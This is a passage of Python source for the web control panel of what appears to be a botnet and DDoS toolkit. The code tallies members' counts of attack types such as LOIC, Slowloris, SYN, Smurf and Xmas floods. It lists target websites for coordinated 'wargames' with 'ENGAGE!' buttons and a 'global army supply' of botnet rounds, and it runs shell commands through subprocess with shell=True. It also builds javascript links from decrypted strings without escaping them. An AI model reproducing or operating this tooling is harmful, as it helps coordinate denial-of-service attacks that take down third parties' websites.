  3969. grid_spray = self.decryptedtext
  3970. else:
  3971. grid_spray = nodec_text
  3972. self.decryptedtext = "" # clean decryptedtext buffer
  3973. try: # parse for int
  3974. grid_spray = int(grid_spray)
  3975. mothership_spray = mothership_spray + grid_spray
  3976. except:
  3977. grid_spray = nodec_text
  3978. grid_smurf = m[12] # smurf
  3979. self.decrypt(grid_key, grid_smurf)
  3980. if self.decryptedtext:
  3981. grid_smurf = self.decryptedtext
  3982. else:
  3983. grid_smurf = nodec_text
  3984. self.decryptedtext = "" # clean decryptedtext buffer
  3985. try: # parse for int
  3986. grid_smurf = int(grid_smurf)
  3987. mothership_smurf = mothership_smurf + grid_smurf
  3988. except:
  3989. grid_smurf = nodec_text
  3990. grid_xmas = m[13] # xmas
  3991. self.decrypt(grid_key, grid_xmas)
  3992. if self.decryptedtext:
  3993. grid_xmas = self.decryptedtext
  3994. else:
  3995. grid_xmas = nodec_text
  3996. self.decryptedtext = "" # clean decryptedtext buffer
  3997. try: # parse for int
  3998. grid_xmas = int(grid_xmas)
  3999. mothership_xmas = mothership_xmas + grid_xmas
  4000. except:
  4001. grid_xmas = nodec_text
  4002. try: # decrypt + parse contact len + correct js view (without blank spaces)
  4003. grid_contact = m[14] # contact
  4004. self.decrypt(grid_key, grid_contact)
  4005. if self.decryptedtext:
  4006. grid_contact = self.decryptedtext
  4007. else:
  4008. grid_contact = nodec_text
  4009. self.decryptedtext = "" # clean decryptedtext buffer
  4010. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  4011. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4012. else:
  4013. try:
  4014. if " " in grid_contact: # m[14] = grid_contact
  4015. grid_contact = grid_contact.replace(" ","")
  4016. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4017. except:
  4018. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4019. except:
  4020. pass
  4021. try:
  4022. grid_id = m[15] # id
  4023. except:
  4024. pass
  4025. if version == 12: # v1.1
  4026. grid_loris = m[9] # loris
  4027. self.decrypt(grid_key, grid_loris)
  4028. if self.decryptedtext:
  4029. grid_loris = self.decryptedtext
  4030. else:
  4031. grid_loris = nodec_text
  4032. self.decryptedtext = "" # clean decryptedtext buffer
  4033. try: # parse for int
  4034. grid_loris = int(grid_loris)
  4035. mothership_loris = mothership_loris + grid_loris
  4036. except:
  4037. grid_loris = nodec_text
  4038. grid_ufosyn = m[10] # ufosyn
  4039. self.decrypt(grid_key, grid_ufosyn)
  4040. if self.decryptedtext:
  4041. grid_ufosyn = self.decryptedtext
  4042. else:
  4043. grid_ufosyn = nodec_text
  4044. self.decryptedtext = "" # clean decryptedtext buffer
  4045. try: # parse for int
  4046. grid_ufosyn = int(grid_ufosyn)
  4047. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4048. except:
  4049. grid_ufosyn = nodec_text
  4050. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  4051. self.decrypt(grid_key, grid_spray)
  4052. if self.decryptedtext:
  4053. grid_spray = self.decryptedtext
  4054. else:
  4055. grid_spray = nodec_text
  4056. self.decryptedtext = "" # clean decryptedtext buffer
  4057. try: # parse for int
  4058. grid_spray = int(grid_spray)
  4059. mothership_spray = mothership_spray + grid_spray
  4060. except:
  4061. grid_spray = nodec_text
  4062. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  4063. self.decrypt(grid_key, grid_smurf)
  4064. if self.decryptedtext:
  4065. grid_smurf = self.decryptedtext
  4066. else:
  4067. grid_smurf = nodec_text
  4068. self.decryptedtext = "" # clean decryptedtext buffer
  4069. try: # parse for int
  4070. grid_smurf = int(grid_smurf)
  4071. mothership_smurf = mothership_smurf + grid_smurf
  4072. except:
  4073. grid_smurf = nodec_text
  4074. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  4075. self.decrypt(grid_key, grid_xmas)
  4076. if self.decryptedtext:
  4077. grid_xmas = self.decryptedtext
  4078. else:
  4079. grid_xmas = nodec_text
  4080. self.decryptedtext = "" # clean decryptedtext buffer
  4081. try: # parse for int
  4082. grid_xmas = int(grid_xmas)
  4083. mothership_xmas = mothership_xmas + grid_xmas
  4084. except:
  4085. grid_xmas = nodec_text
  4086. try: # decrypt + parse contact len + correct js view (without blank spaces)
  4087. grid_contact = m[11] # contact
  4088. self.decrypt(grid_key, grid_contact)
  4089. if self.decryptedtext:
  4090. grid_contact = self.decryptedtext
  4091. else:
  4092. grid_contact = nodec_text
  4093. self.decryptedtext = "" # clean decryptedtext buffer
  4094. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  4095. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4096. else:
  4097. try:
  4098. if " " in grid_contact: # m[11] = grid_contact
  4099. grid_contact = grid_contact.replace(" ","")
  4100. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4101. except:
  4102. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4103. except:
  4104. pass
  4105. try:
  4106. grid_id = m[12] # id
  4107. except:
  4108. pass
  4109. elif version == 11: # v1.0
  4110. grid_loris = m[9] # loris
  4111. self.decrypt(grid_key, grid_loris)
  4112. if self.decryptedtext:
  4113. grid_loris = self.decryptedtext
  4114. else:
  4115. grid_loris = nodec_text
  4116. self.decryptedtext = "" # clean decryptedtext buffer
  4117. try: # parse for int
  4118. grid_loris = int(grid_loris)
  4119. mothership_loris = mothership_loris + grid_loris
  4120. except:
  4121. grid_loris = nodec_text
  4122. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  4123. self.decrypt(grid_key, grid_ufosyn)
  4124. if self.decryptedtext:
  4125. grid_ufosyn = self.decryptedtext
  4126. else:
  4127. grid_ufosyn = nodec_text
  4128. self.decryptedtext = "" # clean decryptedtext buffer
  4129. try: # parse for int
  4130. grid_ufosyn = int(grid_ufosyn)
  4131. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4132. except:
  4133. grid_ufosyn = nodec_text
  4134. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  4135. self.decrypt(grid_key, grid_spray)
  4136. if self.decryptedtext:
  4137. grid_spray = self.decryptedtext
  4138. else:
  4139. grid_spray = nodec_text
  4140. self.decryptedtext = "" # clean decryptedtext buffer
  4141. try: # parse for int
  4142. grid_spray = int(grid_spray)
  4143. mothership_spray = mothership_spray + grid_spray
  4144. except:
  4145. grid_spray = nodec_text
  4146. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  4147. self.decrypt(grid_key, grid_smurf)
  4148. if self.decryptedtext:
  4149. grid_smurf = self.decryptedtext
  4150. else:
  4151. grid_smurf = nodec_text
  4152. self.decryptedtext = "" # clean decryptedtext buffer
  4153. try: # parse for int
  4154. grid_smurf = int(grid_smurf)
  4155. mothership_smurf = mothership_smurf + grid_smurf
  4156. except:
  4157. grid_smurf = nodec_text
  4158. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  4159. self.decrypt(grid_key, grid_xmas)
  4160. if self.decryptedtext:
  4161. grid_xmas = self.decryptedtext
  4162. else:
  4163. grid_xmas = nodec_text
  4164. self.decryptedtext = "" # clean decryptedtext buffer
  4165. try: # parse for int
  4166. grid_xmas = int(grid_xmas)
  4167. mothership_xmas = mothership_xmas + grid_xmas
  4168. except:
  4169. grid_xmas = nodec_text
  4170. try: # decrypt + parse contact len + correct js view (without blank spaces)
  4171. grid_contact = m[10] # contact
  4172. self.decrypt(grid_key, grid_contact)
  4173. if self.decryptedtext:
  4174. grid_contact = self.decryptedtext
  4175. else:
  4176. grid_contact = nodec_text
  4177. self.decryptedtext = "" # clean decryptedtext buffer
  4178. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  4179. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4180. else:
  4181. try:
  4182. if " " in grid_contact: # m[10] = grid_contact
  4183. grid_contact = grid_contact.replace(" ","")
  4184. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4185. except:
  4186. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4187. except:
  4188. pass
  4189. try:
  4190. grid_id = m[11] # id
  4191. except:
  4192. pass
  4193. elif version == 10: # v0.9
  4194. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  4195. self.decrypt(grid_key, grid_loris)
  4196. if self.decryptedtext:
  4197. grid_loris = self.decryptedtext
  4198. else:
  4199. grid_loris = nodec_text
  4200. self.decryptedtext = "" # clean decryptedtext buffer
  4201. try: # parse for int
  4202. grid_loris = int(grid_loris)
  4203. mothership_loris = mothership_loris + grid_loris
  4204. except:
  4205. grid_loris = nodec_text
  4206. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  4207. self.decrypt(grid_key, grid_ufosyn)
  4208. if self.decryptedtext:
  4209. grid_ufosyn = self.decryptedtext
  4210. else:
  4211. grid_ufosyn = nodec_text
  4212. self.decryptedtext = "" # clean decryptedtext buffer
  4213. try: # parse for int
  4214. grid_ufosyn = int(grid_ufosyn)
  4215. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4216. except:
  4217. grid_ufosyn = nodec_text
  4218. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  4219. self.decrypt(grid_key, grid_spray)
  4220. if self.decryptedtext:
  4221. grid_spray = self.decryptedtext
  4222. else:
  4223. grid_spray = nodec_text
  4224. self.decryptedtext = "" # clean decryptedtext buffer
  4225. try: # parse for int
  4226. grid_spray = int(grid_spray)
  4227. mothership_spray = mothership_spray + grid_spray
  4228. except:
  4229. grid_spray = nodec_text
  4230. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  4231. self.decrypt(grid_key, grid_smurf)
  4232. if self.decryptedtext:
  4233. grid_smurf = self.decryptedtext
  4234. else:
  4235. grid_smurf = nodec_text
  4236. self.decryptedtext = "" # clean decryptedtext buffer
  4237. try: # parse for int
  4238. grid_smurf = int(grid_smurf)
  4239. mothership_smurf = mothership_smurf + grid_smurf
  4240. except:
  4241. grid_smurf = nodec_text
  4242. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  4243. self.decrypt(grid_key, grid_xmas)
  4244. if self.decryptedtext:
  4245. grid_xmas = self.decryptedtext
  4246. else:
  4247. grid_xmas = nodec_text
  4248. self.decryptedtext = "" # clean decryptedtext buffer
  4249. try: # parse for int
  4250. grid_xmas = int(grid_xmas)
  4251. mothership_xmas = mothership_xmas + grid_xmas
  4252. except:
  4253. grid_xmas = nodec_text
  4254. try: # decrypt + parse contact len + correct js view (without blank spaces)
  4255. grid_contact = m[9] # contact
  4256. self.decrypt(grid_key, grid_contact)
  4257. if self.decryptedtext:
  4258. grid_contact = self.decryptedtext
  4259. else:
  4260. grid_contact = nodec_text
  4261. self.decryptedtext = "" # clean decryptedtext buffer
  4262. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  4263. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4264. else:
  4265. try:
  4266. if " " in grid_contact: # m[9] = grid_contact
  4267. grid_contact = grid_contact.replace(" ","")
  4268. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4269. except:
  4270. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4271. except:
  4272. pass
  4273. try:
  4274. grid_id = m[10] # id
  4275. except:
  4276. pass
  4277. else: # no valid version
  4278. pass
  4279. try: # parsing for valid stream struct
  4280. grid_nickname = str(grid_nickname)
  4281. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  4282. except:
  4283. grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
  4284. grid_table += "</table><br>"
  4285. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  4286. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td></tr><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td></tr></table><br><hr><br>"
  4287. f.write(mother_table)
  4288. f.write(grid_table)
  4289. f.write(end_mark)
  4290. f.close()
  4291. else: # not valid stream data
  4292. pass
  4293. if page == "/cmd_decrypt_grid_update":
  4294. if not os.path.exists('/tmp/out'):
  4295. open('/tmp/out', 'w').close()
  4296. with open('/tmp/out', 'r') as f:
  4297. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  4298. if page == "/cmd_decrypt_wargames":
  4299. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  4300. wargames_join_flag = False # anti-join flag for non decrypted wargames
  4301. try:
  4302. wargames_deckey = pGet["wargames_deckey"]
  4303. except:
  4304. wargames_deckey = ""
  4305. end_mark = "[Info] [AI] End of decryption."
  4306. if wargames_deckey is not "": # wargames decryption
  4307. nodec_text = "KEY?"
  4308. try: # read global army supply from configuration file (json)
  4309. with open(self.mothership_supplycfg_file) as data_file:
  4310. data = json.load(data_file)
  4311. except:
  4312. if os.path.exists(self.mothership_supplycfg_file) == True:
  4313. print '[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n'
  4314. return
  4315. else: # generate default global army supply configuration file
  4316. print '[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]'
  4317. with open(self.mothership_supplycfg_file, "w") as f:
  4318. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0}, f, indent=4)
  4319. with open(self.mothership_supplycfg_file) as data_file:
  4320. data = json.load(data_file)
  4321. self.supply_botnet = data["botnet"]
  4322. self.supply_loic = data["loic"]
  4323. self.supply_loris = data["loris"]
  4324. self.supply_ufosyn = data["ufosyn"]
  4325. self.supply_spray = data["spray"]
  4326. self.supply_smurf = data["smurf"]
  4327. self.supply_xmas = data["xmas"]
  4328. f = open(self.wargames_file,"r")
  4329. ls = f.readlines()
  4330. f.close()
  4331. if ls:
  4332. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
  4333. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td></tr><tr><td align='center'><input type='number' min='1' max='20' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SPRAY:</td><td align='center'>SMURF:</td><td align='center'>XMAS:</td></tr><tr><td align='center'><input type='number' min='0' max='20' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='20' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  4334. else:
  4335. wargames_autopanel = ""
  4336. wargames_supply = ""
  4337. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  4338. f = open("/tmp/out", "w")
  4339. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  4340. wargames_id = 1
  4341. for m in self.list_wargames_rev: # list = creation, target, estimated
  4342. if wargames_msg_sep in m:
  4343. m = m.split(wargames_msg_sep)
  4344. wargames_creation = m[0] # creation date
  4345. self.decrypt(wargames_deckey, wargames_creation)
  4346. if self.decryptedtext:
  4347. wargames_creation = self.decryptedtext
  4348. else:
  4349. wargames_creation = nodec_text
  4350. self.decryptedtext = "" # clean decryptedtext buffer
  4351. wargames_target = m[1] # target
  4352. wargames_target_joined = wargames_target
  4353. self.decrypt(wargames_deckey, wargames_target)
  4354. if self.decryptedtext:
  4355. wargames_target = self.decryptedtext
  4356. if wargames_target.startswith("www."):
  4357. wargames_target = wargames_target.replace("www.","")
  4358. else:
  4359. wargames_target = nodec_text
  4360. self.decryptedtext = "" # clean decryptedtext buffer
  4361. wargames_estimated = m[2] # estimated time
  4362. self.decrypt(wargames_deckey, wargames_estimated)
  4363. if self.decryptedtext:
  4364. wargames_estimated = self.decryptedtext
  4365. wargames_join_flag = True
  4366. else:
  4367. wargames_estimated = nodec_text
  4368. self.decryptedtext = "" # clean decryptedtext buffer
  4369. else:
  4370. wargames_target = "KEY?"
  4371. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4372. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  4373. try:
  4374. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4375. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4376. except: # discarding errors also on panel
  4377. wargames_creation = now
  4378. wargames_estimated = now
  4379. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  4380. wargames_creation = now
  4381. wargames_estimated = now
  4382. if (now >= wargames_estimated) == False: # change flag color when time is out
  4383. time_now = time.mktime(now)
  4384. time_estimated = time.mktime(wargames_estimated)
  4385. wargames_eta = (time_estimated - time_now)
  4386. hours, rem = divmod(wargames_eta, 3600)
  4387. minutes, seconds = divmod(rem, 60)
  4388. if "!!!" in wargames_target_joined:
  4389. status = "JOINED!"
  4390. wargames_status = "<font color='cyan'>"+status+"</font>"
  4391. if wargames_join_flag == True:
  4392. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  4393. else:
  4394. wargames_join = "KEY?" # present but with a different crypto-key
  4395. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  4396. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4397. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  4398. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4399. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  4400. else:
  4401. status = "-ONGOING-"
  4402. wargames_status = "<font color='orange'>"+status+"</font>"
  4403. if wargames_join_flag == True:
  4404. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  4405. else:
  4406. wargames_join = "KEY?" # present but with a different crypto-key
  4407. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  4408. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4409. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  4410. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4411. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  4412. else:
  4413. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4414. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  4415. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4416. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  4417. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  4418. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  4419. status = "-CLOSED-"
  4420. wargames_status = "<font color='red'>"+status+"</font>"
  4421. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  4422. wargames_id = wargames_id + 1
  4423. wargames_table += "</table><br>"
  4424. f.write(wargames_table)
  4425. f.write(end_mark)
  4426. f.close()
  4427. if page == "/cmd_decrypt_wargames_update":
  4428. if not os.path.exists('/tmp/out'):
  4429. open('/tmp/out', 'w').close()
  4430. with open('/tmp/out', 'r') as f:
  4431. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  4432. if page == "/blackholes":
  4433. self.pages["/blackholes"] = self.html_blackholes()
  4434. if page == "/requests":
  4435. if pGet=={}:
  4436. self.pages["/requests"] = self.html_requests()
  4437. else:
  4438. self.save_cfg(pGet)
  4439. self.pages["/requests"] = self.html_request_submit()
  4440. if page == "/abduction":
  4441. self.pages["/abduction"] = self.html_abduction()
  4442. if page == "/stats":
  4443. self.pages["/stats"] = self.html_stats()
  4444. if page == "/wormhole":
  4445. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  4446. ctype = "text/html"
  4447. if page.find(".js") != -1:
  4448. ctype = "application/javascript"
  4449. elif page.find(".txt") != -1:
  4450. ctype = "text/plain"
  4451. elif page.find(".ico") != -1:
  4452. ctype = "image/x-icon"
  4453. elif page.find(".png") != -1:
  4454. ctype = "image/png"
  4455. elif page.find(".css") != -1:
  4456. ctype = "text/css"
  4457. if page in self.pages:
  4458. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  4459. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  4460. class Command(object):
  4461. def __init__(self, cmd):
  4462. self.cmd = cmd
  4463. self.process = None
  4464. def run(self, timeout):
  4465. def target():
  4466. self.process = subprocess.Popen(self.cmd, shell=True)
  4467. thread = threading.Thread(target=target)
  4468. thread.start()
  4469. thread.join(timeout)
  4470. if thread.is_alive():
  4471. self.process.terminate()
  4472. thread.join()
  4473. if __name__ == "__main__":
  4474. webbrowser.open('http://127.0.0.1:9999', new=1)
  4475. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4476. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  4477. tcpsock.bind((host, port))
  4478. while True:
  4479. tcpsock.listen(4)
  4480. (clientsock, (ip, c_port)) = tcpsock.accept()
  4481. newthread = ClientThread(ip, c_port, clientsock)
  4482. newthread.start()